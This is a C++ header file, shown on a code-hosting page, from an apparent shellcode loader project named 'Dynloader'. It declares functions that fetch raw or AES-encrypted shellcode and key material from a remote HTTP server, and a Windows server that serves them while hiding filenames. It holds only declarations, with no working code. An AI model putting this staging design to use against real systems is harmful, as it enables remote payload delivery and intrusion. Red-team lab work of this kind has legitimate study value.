Files
AbishekPonmudi-Dynloader/lib/net/http_transport.hpp
T
2026-07-10 11:56:50 -07:00

31 lines
1.0 KiB
C++

#pragma once
#include <cstdint>
#include <string>
#include <vector>
namespace HttpTransport {
struct Endpoint {
std::string host;
std::uint16_t port = 8080;
bool useTls = false; // plain HTTP for lab
};
// Parse host[:port] from --source argument.
bool ParseSource(const std::string& source, Endpoint& out);
// GET /api/v1/payload — returns raw shellcode bytes (plain or AES ciphertext).
bool FetchPayload(const Endpoint& ep, std::vector<std::uint8_t>& body);
// GET /api/v1/key — returns packed key material blob.
bool FetchKey(const Endpoint& ep, std::vector<std::uint8_t>& body);
// Run minimal HTTP server (Windows) — serves payload + key without exposing filenames.
bool RunServer(std::uint16_t port, const std::wstring& payloadPath, const std::wstring& keyPath);
// Run server with in-memory blobs (after --enc AES).
bool RunServerMemory(std::uint16_t port, const std::vector<std::uint8_t>& payload,
const std::vector<std::uint8_t>& keyBlob, bool verbose = false);
} // namespace HttpTransport